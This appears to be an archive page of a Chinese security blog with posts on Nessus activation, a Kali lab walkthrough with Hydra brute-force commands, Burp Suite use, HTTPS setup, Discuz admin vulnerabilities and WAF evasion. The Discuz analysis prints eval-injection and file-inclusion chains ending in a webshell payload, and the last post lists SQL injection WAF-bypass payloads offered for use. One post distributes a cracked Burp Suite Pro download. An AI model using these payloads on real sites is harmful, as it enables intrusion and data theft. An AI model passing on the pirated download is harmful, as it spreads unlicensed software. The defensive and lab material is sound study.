nessus Error (500): Activation failed的解决办法 安全工具

nessus的大名我就不多做介绍了,玩的人自然懂.今天给新机器安装的时候,到注册哪一步,输入发到邮箱的激活码,却提示我,nessus Error (500): Activation failed.

Google了一下,没有,但是在官方的论坛找到了Error (500): Failed to launch scan的解答,然后,怀着姑且试一试的心态,成功了,所以在此小记一下,希望可以帮到需要的人.下面先说激活码的获得步骤,呵,这是老生常谈的,我也还是记一下,就当笔记吧.

直接访问这个网址注册,即可在邮箱收到激活码:http://www.tenable.com/products/nessus-home

PS:全程最好使用代理,VPN,最好是美国的IP,使用国内的IP有可能会收不到激活码或者是注册失败.

PPS:邮箱推荐使用gmail邮箱.

最后就是这篇文章的主题,解决注册码输入提示错误的问题.

打开cmd. 执行一下命令(前提是你是默认安装路径没有改,请酌情注意路径/修改) 

cd c:\program files\tenable\nessus

net stop "tenable nessus"

nessuscli update --all

我执行第二条 net stop命令时,报错,11111.png


这时候再回到输入激活码的那个页面,刷新一下,再次输入激活码,OK...成功进入自动升级配置界面,慢慢等待吧,第一次时间很长的,嗯,很长,几分钟-_-,全程VPN会快些.毕竟他的更新服务器在国外....当然插件这些可以离线手动更新.

22222.png

下面贴上Error (500): Failed to launch scan的解决办法:

Try these commands.


Windows:

Open CMD as admin

cd c:\program files\tenable\nessus

net stop "tenable nessus"

nessuscli update --all

nessusd -R

net start "tenable nessus


Linux:

Open a root shell/command prompt window.

cd /opt/nessus/sbin

service nessusd stop

./nessuscli update --all

./nessusd -R

service nessusd start


When you run the nessuscli update --all and gets an error, you need to reset their activation code and run the command 'nessuscli fetch --register <Activation-code-here>' after stopping Nessus

参考链接: https://community.tenable.com/thread/10242



admin 发布于  2017-3-18 17:53 

Kali渗透测试演练Metasploitable靶机(附详细word文档+乌云_vmware_201606) Linux

Kali渗透测试演练Metasploitable靶机

准备工作:

VM虚拟机(http://www.vmware.com/cn.html

Kalihttps://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

Metasploitable靶机(https://sourceforge.net/projects/metasploitable/

要求Kali和靶机在同一个Lan

在开始工作前都确认一一下是否在同一个Lan段,分别登录Kali和靶机使用ifconfig 命令查看

注意:Metasploitable的默认账号、密码是:msfadmin:msfadminKali的默认是root:toor

1.png
第一阶段:扫描阶段,工具 namp 

命令:隐蔽扫描:nmap -sS 192.168.209.138


端口爆破:FTPSSH

工具:Hydra

备用字典:

爆破FTP

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt ftp://192.168.209.138

爆破ssh

hydra -L  /root/Desktop/user.txt  -P  /root/Desktop/pass.txt 192.168.209.138 ssh

通过23端口telnet登录进系统

图片过多,我就不一一上传了,都在文档里面,主要包括以下的测试列表,初学者可以测试体验:

  • 端口爆破:FTP、SSH等
  • 利用metasploit进行端口渗透等
  • 8180——-Apache Tomcat弱口令等

Kali渗透测试演练Metasploitable靶机.docx 

百度网盘链接: https://pan.baidu.com/s/1o8HcuAA 有什么问题的可以留言或者是邮件

乌云_vmware_201606点击查看原图


admin 发布于  2017-1-28 10:18 

Burp Suite新手指南 技术文章

Burp Suite想必大家都用过,但是大家未必知道它的所有功能。因此,本文的主要目的就是尽量深入介绍各种功能。BurpSuite有以下这些功能:

[blue]

截获代理– 让你审查修改浏览器和目标应用间的流量。爬虫 – 抓取内容和功能

Web应用扫描器* –自动化检测多种类型的漏洞

Intruder – 提供强大的定制化攻击发掘漏洞

Repeater – 篡改并且重发请求

Sequencer –测试token的随机性

能够保存工作进度,以后再恢复

插件*–  你可以自己写插件或者使用写好的插件,插件可以执行复杂的,高度定制化的任务

*表示需要Burp Suite Pro授权。

[/blue]

Intercepting Proxy(截取代理)

Intercepting proxy是针对web应用渗透测试工具的功能。Burp Suite的代理工具非常容易使用,并且能和其他工具紧密配合。要使用这个功能,第一步就是建立代理监听(Proxy–> Options功能下)。我的设置为了默认值localhost (127.0.0.1),端口为8080。

burpsuite.png


你可以点击编辑(“Edit”)进行修改,或者添加新的监听端口。一旦建立好,你就要到浏览器的网络连接设置处手动配置代理设置:

2015-12-30-10_54_36-altoro-mutual.png

我们现在可以访问我们要测试的应用,然后看到发送的所有请求了。到Proxy –> Intercept标签页,然后确保截获功能开启(“Intercept is on”),然后就能看到所有的请求了。

trapped-request.png

你可以修改请求,然后点击“Forward”发送修改后的请求,如果不想发送某些请求你也可以点击“Drop”按钮。“Actions”按钮下还有很多其他的功能。

request-actions.png

如果你想回过头看下前面发送的请求,你可以切换到Proxy –> HTTP History标签页,这里有所有的请求列表,还有些详情如响应的长度,MIME类型和状态码。如果你修改过请求,你会看到两个标签,分别是修改前和修改后的请求:http-history.png

另一个有用的功能是自动修改请求/响应,功能位于Proxy –> Options。通过这个功能可以去除JavaScript的表单验证。你也可以用正则表达式匹配替换请求/响应:

proxy-options.png


Spider(爬虫)

当你在对web应用进行初步检查的时候,Burp Suite的spider工具非常有用。当你浏览Web应用时,它会从HTML响应内容中主动生成一份URL列表,然后尝试连接URL。要使用爬虫功能,我们首先要切换到Target–> Site Map标签,然后右键域名,选择“Add To Scope”:

add-to-scope.png

所有加入的域名都在Target –> Scope标签页里。你可以手动添加域名,修改,或者添加需要配出的URL(比如如果你不希望对“联系我们”的表单进行自动化测试,就可以把它排除掉):

scope-tab.png

如果我们现在进入Spider –> Control标签,就能看到有些URL正在排队中,注意看下面,爬虫只会对scope中的域名进行测试:

spider-control-tab.png

回到Site Map我们可以看到URL的列表,黑色代表我们已经成功访问过那个页面,爬虫确认过是有效的。灰色代表爬虫在HTML响应中找到了这个URL但是还没有确认是否有效:

site-map-urls.png

基本的设置后,我们返回到Spider –> Control标签,点击“Spider Is Paused”按钮运行工具,它会尝试连接所有之前找到的URL,包括在运行过程中找到的新的。如果过程中有表单需要填写,它会弹出表单供你填写,确保能收到有效的响应:spider-run.png

现在Site Map中就有整理整齐的URL了:

site-map-completed.png

Spider –> Options标签下有些你可以调整的选项,如user-agent ,或者爬虫应该爬多深,两个重要的设置是表单提交和应用登录,设置好之后爬虫可以自动为你填写表单:

spider-options.png


Intruder

Intruder是Burp Suite中最受欢迎的工具。Intruder是获取Web应用信息的工具。它可以用来爆破,枚举,漏洞测试等任何你想要用的测试手段,然后从结果中获取数据。

我举个例子来演示Intruder的使用方法。即爆破登录页面的管理员密码(假设没有帐号锁定)。首先,我们切换到Proxy-> HTTP History,右键要测试的请求,点击“Send To Intruder”:

intruder-request.png


接下来我们切换到Intruder标签,准备攻击。程序会在Target标签里自动填上请求中的host和端口。在Position(位置)标签出哦我们可以看到我们选择的请求并设置我们要攻击的位置。用鼠标高亮想要攻击的位置, 然后点击右边的“Add”,如果需要的话可以选择多个位置:

intruder-position1.png

最上面的地方有多种攻击类型,本例中我们使用默认的Sniper,但实际上每种攻击类型都有特定用途:

[blue]

Sniper – 这个模式使用单一的payload组。它会针对每个位置设置payload。这种攻击类型适合对常见漏洞中的请求参数单独地进行fuzzing测试。攻击中的请求总数应该是position数量和payload数量的乘积。

Battering ram – 这一模式使用单一的payload组。它会重复payload并且一次把所有相同的payload放入指定的位置中。这种攻击适合那种需要在请求中把相同的输入放到多个位置的情况。请求的总数是payload组中payload的总数。

Pitchfork – 这一模式使用多个payload组。对于定义的位置可以使用不同的payload组。攻击会同步迭代所有的payload组,把payload放入每个定义的位置中。这种攻击类型非常适合那种不同位置中需要插入不同但相关的输入的情况。请求的数量应该是最小的payload组中的payload数量。

Cluster bomb – 这种模式会使用多个payload组。每个定义的位置中有不同的payload组。攻击会迭代每个payload组,每种payload组合都会被测试一遍。这种攻击适用于那种位置中需要不同且不相关或者未知的输入的攻击。攻击请求的总数是各payload组中payload数量的乘积。

[/blue]

位置设定好之后我们切换到Payloads标签,选择攻击时使用的数据。顶部的地方你可以看到payload组。各个组都对应设置的各个位置。我们可以选择payload类型,如简易列表(Simple List)。

在那下面有一些payload选项。每个payload类型都有不同的选项,供用户为你的测试进行修改。我经常使用的是数字(Numbers),你可以设置范围,选择是连续的数字还是随机数字,还有每次攻击时的步长等。不过对于我们要搞的爆破攻击,我们只需要添加一个密码字典就行:

intruder-payload.png


接下来就是点击右上角的开始攻击(Start Attack)按钮。程序就会弹出一个新的窗口,显示的是尝试的每个payload和响应的详情。我们的例子中,第六个请求获取到了正确的密码:

intruder-run.png

我们返回主窗口,然后切换到Intruder –> Options标签页,可以发现还有些别配置。其中一个很重要的是“Grep– Match”功能,这个功能可以让你基于HTML中的字符串或者正则表达式标记出结果。这些标记会在新增的栏里出现。

[green]注:免费版的Burp Suite会对Intruder限速,专业版会更快。[/green]

Repeater(重复器)、decoder(解码器)和comparer(比较器)也很有用,但由于使用简单,在此就不再赘述了。

原文地址:https://matttheripperblog.files.wordpress.com/2016/01/add-to-scope.png?w=770

工具下载地址:渗透测试神器Burpsuite Pro v1.6.38(含下载)


admin 发布于  2016-3-30 12:25 

渗透神器-Burp Suite v1.6.27破解版下载 安全工具

burpsuite.png


本文提供的破解方式仅供软件试用,请于24小时内删除

众所周知,Burp Suite是响当当的web应用程序渗透测试集成平台。从应用程序攻击表面的最初映射和分析,到寻找和利用安全漏洞等过程,所有工具为支持整体测试程序而无缝地在一起工作。

平台中所有工具共享同一robust框架,以便统一处理HTTP请求、持久性、认证、上游代理、日志记录、报警和可扩展性。Burp Suite允许攻击者结合手工和自动技术去枚举、分析、攻击Web应用程序。


Burp Suite的重要特性


拦截代理(Proxy),你可以检查和更改浏览器与目标应用程序间的流量; 可感知应用程序的网络爬虫(Spider),它能完整的枚举应用程序的内容和功能; 高级扫描器,执行后它能自动地发现web应用程序的安全漏洞; 入侵测试工具(Intruder),用于执行强大的定制攻击去发现及利用不同寻常的漏洞; 重放工具(Repeater),一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具; 会话工具(Sequencer),用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具; 解码器,进行手动执行或对应用程序数据者智能解码编码的工具; 扩展性强,可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。

Burp Suite1.6.27更新记录

This release adds the ability to detect completely blind SQL injection by triggering interactions with Burp Collaborator. Previously, Burp Scanner has used various evidence to detect SQL injection, including: Error messages Differential responses through injected Boolean conditions Time delays

渗透神器-Burp Suite v1.6.27破解版下载:http://pan.baidu.com/s/1hqWHxlE

2015-12-20 update: https://userscloud.com/1nktuk5a00qe


admin 发布于  2015-10-21 17:38 

站长切记:请勿将重要配置文件备份为.bak后缀 网络安全

很多站长有这样一个习惯,更改网站配置文件之前将原始文件重命名来备份,例如将config.php重命名为config.php.bak,殊不知这样一个小小的细节就给黑客留下了可乘之机,站长们可以做如下实验:


1、将您网站根目录下任意.php文件重命名为.php.bak,例如将config.php重命名为config.php.bak


2、然后您在浏览器中输入http://你的网站域名/config.php.bak


3、看到没?PHP文件里面所有的信息都显示出来了有没有?或者是可以下载!但是你直接访问 http://你的网站域名/config.php (非入口文件)是看不到里面的代码的!

所以,黑客就利用了站长们这点不好的习惯,对网站的可能的配置文件进行扫描,如下图某网站安全软件拦截信息:00.jpg

确实是这样的,不相信的可以自己测试。当然你还可以测试你想要下载的文件,比如说模板文件,js,等等,这里不多说,请自行摸索。

所以我们在可以修改备份文件名后缀,或者是使用防护软件进行防护。

原文地址:http://blog.ailab.cn/post/129


admin 发布于  2015-9-19 18:54 

浅谈HTTPS链接的重要性和安全性 网络安全

03.png

今天我的一位仁兄被人误导说HTTPS慢,就这个问题我们来浅谈下HTTPS的速度和安全。首先HTTPS是一个优良而且很棒的协议,他为服务器和客户端之间的数据传输提供了强有力的保障。浅谈HTTPS的速度和安全事实证明HTTPS速度是快的。

Mrxn通过实验测试结果证明,HTTPS确实需要CPU来中断SSL连接,这需要的处理能力对于现代计算机而言是小菜一碟了,你会遇到SSL性能瓶颈的可能性完全为0,首屏加载时间与HTTP协议的时间几乎一致。慢,只会在你网络出现问题的时候发生,和SSL/HTTPS毫无干系,或者极有是你的应用程序性能上遇到瓶颈。
HTTPS是一个重要的连接保障
虽然HTTPS并不放之四海而皆准的web安全方案,但是没有它你就不能以策万全。所有的web 安全都倚赖你拥有了HTTPS。如果你没有它,不管对密码做了多强的哈希加密,或者做了多少数据加密,攻击者都可以简单的模拟一个客户端的网络连接,读取它们的安全凭证,极具威胁。此外,证书签名很显然不是一个完美的实践,但每一种浏览器厂商针对认证机构都有相当严格和严谨的规则。要成为一个受到信任的认证机构是非常难的,而且要保持自己良好的信誉也同样是困难的。
HTTPS流量拦截可以避免
本质上讲,可以使自己的客户只去信任真正可用的 SSL 证书,有效的阻挡所有类型的SSL MITM攻击,如果你是要把 SSL 服务部署到一个不受信任的位置,你最应该考虑使用SSL证书。
HTTPS拥有免费的证书服务
国内和国外都提供了免费的基础等级SSL证书,普及了SSL的支持。 一旦让加密的方案上线,你就能够对你的网站和服务进行100%的加密,完全没有任何花费。
HTTP 在私有网络上并不安全
如果一个攻击者获得了对你的任何内部服务的访问权限,所有的HTTP流量都将会被拦截和解读,这就是为什么HTTPS不管是在公共网络还是私有网络都极其重要的原因。如果是把服务部署在AWS上面,就不要想让你的网络流量是私有的了,因为AWS网络就是公共的,这意味着其它的AWS用户都潜在的能够嗅探到你的网络流量。
2015年百度启用HTTPS搜索
在2015年5月,百度也启用了HTTPS安全搜索,并且支持HTTPS站点的积极优先收录,更可以证明,互联网巨头也开始注重网络传输安全了。
总结
如果你正在做网页服务,毫无疑问,你应该使用 HTTPS。它很容易且能获得用户信任,没有理由不用它。作为ICP,作为程序员我们必须要承担起保护用户的重任。
PS:没有经过事实验证的任何说法,不值得我们信任!


admin 发布于  2015-9-17 19:03 

emlog 使用ssl证书开启HTTPS安全访问三步曲 技术文章

02.jpg

最近在研究ssl,所以就给自己得博客使用了ssl,拿自己的博客实战研究ssl,哈哈,废话不说,如果你也想体验一下ssl,那就开始吧:

科普一下(ssl有啥好处呢):参考-浅谈HTTPS链接的重要性和安全性 这篇文章。

ssl传送大概示意图:01.jpg

emlog配置ssl很简单,只需要三步:

第一步:申请ssl证书,学习研究推荐使用免费的ssl证书(如果你是土豪,请无视-_-|),申请教程不写了,没时间,google搜索一大把。

第一个:https://www.startssl.com/ 第二个:https://www.wosign.com/  第一个是英语的,如果看不懂就用第二个国内的,但是国内的只支持sha1算法,国外的可以选择sha2-256位RSA公钥,和4096位的服务器crt身份密钥,更高的加密算法。效果请查看我的网站

申请成功解压之后,文件目录结构如下图所示:

04.png


因为这里我们是用NGINX WEB环境的,所以我们需要解压FOR NGINX.ZIP文件包,然后看到一个CRT一个KEY文件。

第二步、上传和部署SSL证书 A - 把上面的一个CRT一个KEY文件上传到VPS ROOT目录中,然后对应修改成SSL.CRT和SSL.KEY文件名,或者我们用作其他命令都可以。 B - 解密私钥和设置权限

openssl rsa -in ssl.key -out /root/ssl.key
chmod 600 /root/ssl.key

登录SSH,执行上述两行脚本,解密私钥和授权。


第三步、在LNMP环境部署站点SSL设置

我们需要在已有的LNMP添加了站点,然后在站点对应的CONF文件设置。

在"/usr/local/nginx/conf/vhost/"目录文件中,找到对应站点的conf文件,然后修改设置如下

server
{
 listen 80;
 listen 443 ssl;
#listen [::]:80;
ssl on;
        ssl_certificate /root/ssl.crt;
        ssl_certificate_key /root/ssl.key;
server_name mrxn.net mrxn.net;

/root/ssl.crt 是我自己的设置,对应路径我们要与之前上传的CRT和KEY文件路径对应以及文件名不要搞错。

最后,我们重启LNMP,可以看到SSL证书生效,且HTTPS可以访问站点。

06.png


这是在网站所有资源都在本域名下,而且是https 加密安全访问的情况下。一般你一操作完都不是这样的,而是这样的:

05.png

小锁头上面有一个感叹号标志的,如何解决呢:

首先是在后台设置域名地址为:https://mrxn.net 然后,修改 /include/lib/function.base.php ,把头像获取的链接修改成https://开头的:$avatar = "https://cn.gravatar.com/avatar/$hash?s=$s&d=$d&r=$g"; 再回来  数据--更新缓存 之后,打开首页 Ctrl + F5 基本上就是绿色的小箭头了。

如果还没有呢,那多半就是你文章的图片地址是 https://mrxn.net 这样开头的,所以,直接更新数据库的blog表的content和excerpt字段即可:

update emlog_blog set content=replace(content,'https://mrxn.net','https://mrxn.net');
update emlog_blog set excerpt=replace(excerpt,'https://mrxn.net','https://mrxn.net'); 

这样更新完数据库之后,你的网站就基本上全部替换完了非加密连接了(内容页和摘要都更新了,其他的地方貌似没有了,自己写的不算)。
如果我们需要强制使用HTTPS网址访问,那我们就需要取掉 listen 80;脚本。或者是在 listen 80;前面加上# 修改成:#listen 80;

最终修改配置大概如下:

server
    {
        #listen 80;
        listen 443 ssl;
        #listen [::]:80;
        ssl on;
        ssl_certificate 存放ssl证书文件路径.crt;
        ssl_certificate_key 存放ssl证书文件路径.key;
        server_name mrxn.net mrxn.net;
        index index.html index.htm index.php default.html default.htm default.php;
        root  网站存放文件路径;
        keepalive_timeout   60;
       .......此处省略.......
    }
server {
listen 80;
server_name mrxn.net mrxn.net;
return 301 https://mrxn.net$request_uri;
}


注意将域名修改成你自己的域名。至此,基本上就完成了ssl证书的安装,开启https访问了。

相关文章:


一段代码让nginx实现网站资源防盗链

nginx配置location总结及rewrite规则写法

nginx配置ssl加密(单双向认证、部分https)

NginxRewrite规则判断普通用户与搜索引擎爬虫(UA)实现https跳转

SSL/TLS原理详解

OpenSSL 与 SSL 数字证书概念贴

基于OpenSSL自建CA和颁发SSL证书


最后呢,希望有高手带我学习https方面的东西呀,这篇文章呢,也希望对想要使用ssl的童鞋一点帮助,如果哪位看官有更好的方法或者是建议,欢迎留言/评论 不吝赐教啊,我洗耳恭听,多帮忙吧 谢谢。


admin 发布于  2015-9-17 18:45 

【转自TSRC】浅谈开源web程序后台的安全性 网络安全

前言

       不知怎的最近甚是思念校园生活,思念食堂的炒饭。那时会去各种安全bbs上刷刷帖子,喜欢看别人写的一些关于安全技巧或经验的总结;那时BBS上很多文章 标题都是:成功渗透XXX,成功拿下XXX。这里便以一篇入侵菲律宾某大学的文章引出文章的主题,我们先简要看一下过程。大学网站使用了名为joomla 的开源web程序,(1)青年使用一个joomla已经公开的漏洞进入web后台(2)青年使用joomla后台上传限制不严的缺陷上传了一个 webshell3)控制主机赠送我国国旗。
        
原来入侵一台主机如此容易,管理员果断给web程序打上安全补丁。管理员的工作是结束了,作为安全从业人员再一想是不是joomla后台这里可以上 传webshell是不是有问题呢,如果joomla后台不能上传webshell,是不是可以减少入侵的可能和损失。下面进入本文的主题:web后台程 序的安全性。

二、简介

        
国内很多站点都是基于开源论坛、cms搭建的,比如discuzphpwinddedecms等。这些程序都是国内开源web程序中的佼佼者, 也比较注重安全性。平时大家关注比较多的是sql注入、xss这些可以直接窃取用户数据的漏洞。网上因为弱口令被入侵的案例数不胜数,此外用户数据泄漏事 件时而发生,单纯靠密码防护的后台被突破,被社工的可能性越来越大。获取一个管理后台密码后,再结合后台程序的任意代码执行、文件包含或命令注入等漏洞得 到一个shell,窃取用户资料不是什么难事。此时后台程序的安全性成为一个短板。
       Discuz
是一款流行的论坛程序,笔者这里就以它的后台程序为例简单分析一下其安全性,下面直接看一些漏洞案例(Discuz最新版本已打补丁,请用户及时升级到最新版-Discuz! X3.1 R20140101)。

三、案例分析

Tips
:下文提到的$settingnewdiscuz后台存储表单数据的变量,后台用户可控。

案例一:用户输入数据过滤逻辑不当

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

01

<code id="code0">// 1alice修改$settingnew['extcredits']非数组

02

if(is_array($settingnew['extcredits'])) {


03

foreach($settingnew['extcredits'] as $key => $value) {

04

// 2、给$settingnew['initcredits'][1]传入phpinfo();,非数组绕过intval转换


05

$settingnew['initcredits'][$i] = intval($settingnew['initcredits'][$i]);

06

... 省略 ...


07

for($i = 1; $i <= 8; $i++) {

08

// 3 phpinfo();被赋值给$initformula


09

$initformula = str_replace('extcredits'.$i, $settingnew['initcredits'][$i], $initformula);

10

}


11

// 4phpinfo()带入eval执行

12

eval("\$_G['setting']['initcredits'] = round($initformula);");</code>

案例二:二次注入

        简单介绍一下二次注入,恶意用户aliceA处传入恶意数据并被存储到数据库,在A处不直接导致安全问题;B处引用到A处存储的数据,从而触发安全问题。

漏洞文件:X3\source\admincp\admincp_setting.php

分析:

1

// 1alice上传一个图片木马假设为1.gif; alice设置$settingnew['seccodedata']['type']值为1.gif\0:xx(根据图片地址做适当目录跳转);该值未作任何过滤存入数据库

2

if($settingnew['seccodedata']['type'] == 0 || $settingnew['seccodedata']['type'] == 2) {

3

$seccoderoot = 'static/image/seccode/font/en/';

4

} elseif($settingnew['seccodedata']['type'] == 1) {

5

$seccoderoot = 'static/image/seccode/font/ch/';

6

}漏洞文件:source\module\misc\misc_seccode.php

01

// 2$_G['setting']['seccodedata']['type']值来自于数据库,即为1处传入的1.gif\0:xx

02

if(!is_numeric($_G['setting']['seccodedata']['type'])) {

03

$etype = explode(':', $_G['setting']['seccodedata']['type']);

04

if(count($etype) > 1) {

05

// 3 \0截断得到$codefile为图片小马(也可使用././././多个路径符方法截断)

06

$codefile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/seccode/seccode_'.$etype[1].'.php';


07

... 省略 ...

08

if(file_exists($codefile)) {

09

// 4、图片木马被include得到webshell

10

@include_once $codefile;

案例三:程序升级新增逻辑导致的漏洞

漏洞文件:X3\source\admincp\admincp_adv.php

01

// 1alice上传一个图片木马假设为1.gif; alice传入type参数值为1.gif\0:xx(根据图片地址做适当目录跳转)

02

$type = $_GET['type'];

03

... ...

04

if($type) {

05

//2、得到$etype1.gif\0

06

$etype = explode(':', $type);

07

if(count($etype) > 1) {

08

//3$advfile值被\0截断,为图片木马路径1.gif

09

$advfile = DISCUZ_ROOT.'./source/plugin/'.$etype[0].'/adv/adv_'.$etype[1].'.php';

10

$advclass = 'adv_'.$etype[1];


11

}

12

... 省略 ...

13

//4、包含图片木马,得到webshell

14

if(file_exists($advfile)) {

15

require_once $advfile;

对比下X2.5版本的逻辑,此处漏洞完全是因为新增代码导致的。

1

$type = $_GET['type'];

2

$target = $_GET['target'];

3

$typeadd = '';

4

if($type) {

5

$advfile = libfile('adv/'.$type, 'class');

6

if(file_exists($advfile)) {

7

require_once $advfile;

案例四:漏洞修补不完善

漏洞文件:X3\api\uc.php

分析:

01

//1config_ucenter.php内容部分截取如下:define('UC_API', 'http://localhost/bbs/uc_server');

02

$configfile = trim(file_get_contents(DISCUZ_ROOT.'./config/config_ucenter.php'));

03

... ...

04

//2$UC_AP外部可控,alice传入$UC_API的值为xyz');eval($_POST[cmd];得到$configfile值为define('UC_API', 'xyz\');eval($_POST[cmd];'); xyz后面的引号被转义。

05

$configfile=preg_replace("/define\('UC_API',\s*'.*?'\);/i","define('UC_API','".addslashes($UC_API)."');", $configfile);

06

//3、将define('UC_API', 'xyz\');eval($_POST[cmd];');写入配置文件


07

if($fp = @fopen(DISCUZ_ROOT.'./config/config_ucenter.php', 'w')) {

08

       @fwrite($fp, trim($configfile));

09

       @fclose($fp);

10

}

11

//4 alice再次传入$UC_API的值为xyzpreg_replace使用的正则表达式是define\('UC_API',\s*'.*?'\); .*?'非贪婪匹配,匹配到第一个引号结束,之前的转义符被替换xyz\替换为xyz,从而得到$configfile值为 define('UC_API', 'xyz');eval($_POST[cmd];');写入配置文件得到webshell

这个问题早在2010年外部已经公开,官方已及时发出补丁
详情请参考:http://www.oldjun.com/blog/index.php/archives/76/

四、总结

       上面这些例子主要是笔者实践经验的一些总结,不一定全面,希望能给大家拓展一些思路;比如上述提到的二次注 入,$settingnew['seccodedata']['type']这个变量没过滤,$settingnew的其他数组也可能没过滤,也确实存在 多处类似的问题,大家可以自行去尝试一下。关于代码审计的方法主要有两个大方向:(1)危险函数向上追踪输入;(2)追踪用户输入是否进入危险函数;这里 的危险函数关于危险函数主要包括代码执行相关:evalassert,文件包含:includerequire等,命令执行:systemexec 等,写文件:fwritefile_put_contents等;

代码审计的方法这里推荐两篇文章:
https://code.google.com/p/pasc2at/wiki/SimplifiedChinese
http://wenku.baidu.com/view/c85be95a3b3567ec102d8a12.html

五、反思

1、一切输入都是有害的;
后台程序的用户输入相比前台主要增加了后台表单的数据,此外有些后台支持上传文件(dz1.5的自定义sql),上传文件的内容也属于输入;这些输入都属于用户范围。一定要做严格的控制和过滤。

2
、安全意识;
其实很多漏洞的产生并不是技术问题导致的,而是我们缺乏安全意识,不重视安全而酿成的惨剧。尤其是第三个和第四个,完全不应该发生;需要对开发人员做安全宣导和基本的安全培训。

3
、漏洞Review
1)开发人员收到漏洞后要对漏洞产生的原因做总结,并Review代码中是否有类似的问题。有些时候开发人员仅仅是修补了安全人员或白帽子提供的漏洞 点,另外一处代码有类似的问题没修补继续爆出漏洞,无穷无尽。这样做还会带来更大的隐患,黑客是非常乐意并擅长总结反思的,每一个补丁其实也是给黑客拓展 了思路,如果修补不完全后果很严重。
2)开发人员修补完成后安全人员需要进行测试确认,上述的案例四就是鲜明的例子。有条件的情况下安全人员应该整理一些常见漏洞修复指引,这样也可以提高工作效率。


admin 发布于  2015-8-1 11:19 

修改emlog后台登录路径的方法 emlog

emlog后台登录地址的目录名称默认为admin,并且官方没有提供自定义后台登录入口名字的功能,这多少让我们觉得有些不安全,毕竟暴露一个网站的后台不是一件安全的事,今天就给您说下修改方法,增加一下网站的安全性。
虽然我们进入后台的地址是/admin,但其实真实的地址还是/admin/index.php。那么就先从这个文件开始下手,打开这/admin /index.php这个文件后,看到第7行require_once 'globals.php';这一句,也就是说在index.php运行之前会先加载globals.php这个文件,由文件路径可以看出这个文件是处于 当前文件夹中,找到并打开它。发现它又加载了一文件,是根目录的init.php。先不管它,先来看下面的,第9行
define('TEMPLATE_PATH', EMLOG_ROOT.'/admin/views/');
定义了一个后台模板路径的常量,这个路径经过登录接口目录,所以我们把它修改成你想要的名称,比如修改成我的ID,即
define('TEMPLATE_PATH', EMLOG_ROOT.'/mrxn/views/');
现在先不预览,因为可能还有没有修改的地方,免得会报错。继续往下看。
登录验证,没什么问题。退出,这个让我想到了平时点退出的时候,地址是/admin?action=logout,这里可以看到,它是在admin上加了一个logout的动作,所以我仔细看了一下它,但是没看出可以修改的地方。
那么我们开始看刚才引入的那个文件:init.php。打开这个文件。
由这个文件开头的注释:全局项加载,我们了解到,从现在开始,要开始大规模加载东西了,我想,如果下面还有需要修改的地方的,那修改会变得很麻烦,所以我 就此先打住,先测试一下,以现在的修改,有没有成功的可能性。我先是把后台登录的文件夹名称改成admin1,然后打开浏览器输入 http://localhost/admin1,打开后台入口,没有任何错误,接着输入账号密码登录,没有报错,我试着进行了各项操作,包括写日志等 等,没有出现异常,也就是说后台登录入口的修改至此成功。

总结一下,其实就两步:
1、修改根目录下admin的名称
2、admin/globals.php这个文件的第9行后面admin/views/中的admin改成你要的名称。
3、千万不要用记事本来修改核心文件,否则后果很严重。


修改Emlog后台默认列表显示条数

在include/model/log_model.php文件中找到

$limit = "LIMIT $start_limit, " . $perpage_num;

大概在147行的样子,改为

$limit = "LIMIT $start_limit, " . 1000;

其中1000表示现在所显示的条数



admin 发布于  2015-7-25 19:14 

如何绕过WAF?Mrxn总结如下一些技巧 渗透测试

WAF介绍

什么是WAF?

WAF--俗称“Dog” --WEB_Dog ----Web应用防火墙。

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。



基本/简单绕过方法:

1、注释符



http://www.site.com/index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3,4….



2、使用大小写



http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….



3、结合前面两种方法



http://www.site.com/index.php?page_id=-15 /!uNIOn/ /!SelECt/ 1,2,3,4….



4、关键字替换



http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….



此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....



5、内部注释



http://www.site.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4…



U替换为%55,S替换为%53 在 union 和 select 之间添加注释/
/



高级绕过方法:

1、缓冲区溢出/使防火墙崩溃



大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃



http://www.site.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4….



你可以使用如下方法测试WAF



?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….



如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF



2、对字母进行编码



http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….



3、使用其他变量或者命令对注入语句进行替换



COMMAND | WHAT TO USE INSTEAD



@@version | version()



concat() | concat_ws()



group_concat() | concat_ws()



4、利用WAF本身的功能绕过



假如你发现WAF会把""替换为空,那么你就可以利用这一特性来进行绕过



????????http://www.site.com/index.php?page_id=-15+uni
on+select+1,2,3,4....



其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)?











研究过国内外的waf。分享一些 奇淫绝技。



一些大家都了解的技巧如:/
!/,SELECT[0x09,0x0A-0x0D,0x20,0xA0]xx FROM 不再重造轮子。



Mysql



